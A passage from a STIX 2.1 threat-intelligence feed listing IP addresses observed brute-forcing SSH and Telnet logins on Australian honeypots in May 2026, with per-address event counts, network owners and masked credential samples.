      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58541. Organisation(s): Qingdao,266000.",
      "id": "indicator--a53761b5-ba3b-498e-9920-65db999527b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '140.249.200.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--6b58a22d-1940-4d93-b596-52b585bcf7e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.114.156.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): e*****r, o****e. Passwords observed (masked): 1****1, 1****6.",
      "id": "indicator--d6c6396c-1c2a-480a-b9cf-1d9719297b06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.100.217.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SV. ASN(s): 27773. Organisation(s): MILLICOM CABLE EL SALVADOR S.A. DE C.V..",
      "id": "indicator--1496abb4-ddba-4c08-bfb2-9176ba15f8f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.99.43.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--c0529f37-995f-4e4b-a056-b4848a322ccd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.94.87.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--06b0b56c-d6c4-48d6-9f1a-cc176f91016f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--037c39f4-1fe6-4c46-a12d-bae0d4a2f52c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.4.113.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 199404. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--d6472478-cad8-498b-a0ea-30d79f16a28f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.57.172.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--11ddedec-35a7-47c2-818a-ca806c1dea8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.167.222.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 27589. Organisation(s): MOJOHOST.",
      "id": "indicator--e648b455-4ceb-4431-b014-fa926f2d2204",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '99.192.162.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:15:10.000Z",
      "valid_until": "2026-06-09T06:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--9fe8d6a6-06e2-47c4-931d-eac0f084ca06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.129.186.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--7222a10b-7315-435d-a411-e47bd733d205",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.162.4.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--1dd8cd3b-0bf6-479e-b78a-40b86dfa1d30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.196.35.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 270013. Organisation(s): J AND J SPA INFOFRACTAL.",
      "id": "indicator--8d0acc54-0e2a-4739-86c3-d45d60279be9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.242.242.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): t*****g, u****u. Passwords observed (masked): m**************t, t*****g.",
      "id": "indicator--6d91d213-b772-46be-aef4-5ef5761cc19b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.7.3.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--01a22168-796f-4b4c-a758-544ecbfebb8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.32.156.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--d1abd9e0-324f-4e51-bafe-b0e1c6cf0a87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.135.137.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 63023. Organisation(s): GTHost.",
      "id": "indicator--828f1ba9-5b58-4384-90dd-306b0f9dc36c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.190.215.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28535. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--653abe34-85c1-45a5-83f4-6623eaf08aea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.187.196.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 34629. Organisation(s): Resurs-Svyaz Ltd.",
      "id": "indicator--d994e202-26d9-4a85-86d7-bb87311354b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.116.163.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--b2c2a3d5-0e6b-45e8-80f0-93f1a823516e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.80.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 37133. Organisation(s): airtel-tz-as.",
      "id": "indicator--d12f2bd9-e81a-40c4-8284-20a9eab81c58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.186.63.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2110516c-64b8-4e81-b6e3-41f1b6d10856",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MN. ASN(s): 10219. Organisation(s): Skymedia Corporation.",
      "id": "indicator--b24353da-13d9-4714-bcf8-70984088565e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.9.46.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 213035. Organisation(s): Des Capital B.V..",
      "id": "indicator--113bfb87-c3a8-42aa-b957-476d6b32b3ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.192.240.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 207810. Organisation(s): Virus Net LLC.",
      "id": "indicator--426743f8-6bbe-4c28-8ace-bea757fbeb67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.159.74.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--70ee3669-fbde-404d-bd87-5e375a456ec9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.210.36.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc. Usernames observed (masked): a***n, u****u, u**r, l******1, m***l. Passwords observed (masked): 0********9, 1***5, 1******8, 1*******#, 1******X.",
      "id": "indicator--0a86f4f8-2930-48ec-a7cc-740581e67ac0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.79.213.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--414ef1d3-15e3-41ed-92fb-284a024704ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.197.64.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T07:15:11.000Z",
      "valid_until": "2026-06-09T07:15:08.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): u****u, a***n, r**t, f*****r, 3**********4. Passwords observed (masked): 1**4, 1******4, 1******8, 1******r, 1******2.",
      "id": "indicator--bd5c9da7-9e74-4407-977a-58c9ebbda093",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.219.104.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--707c51bb-c703-42e1-a251-9ddd691f8410",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.135.33.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--3c6b20c1-33bc-436e-9089-03481e91f937",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '15.204.229.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dec27763-f547-45dd-84f4-91afac32a6a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.0.107.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: XK. ASN(s): 208286. Organisation(s): Max tv SH. P. K.",
      "id": "indicator--c0aa7fa4-b1de-4991-bdd3-b58e74d83c2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.222.138.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:15:06.000Z",
      "valid_until": "2026-06-09T08:15:04.000Z"
    },
    {
      "created": "2026-05-08T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
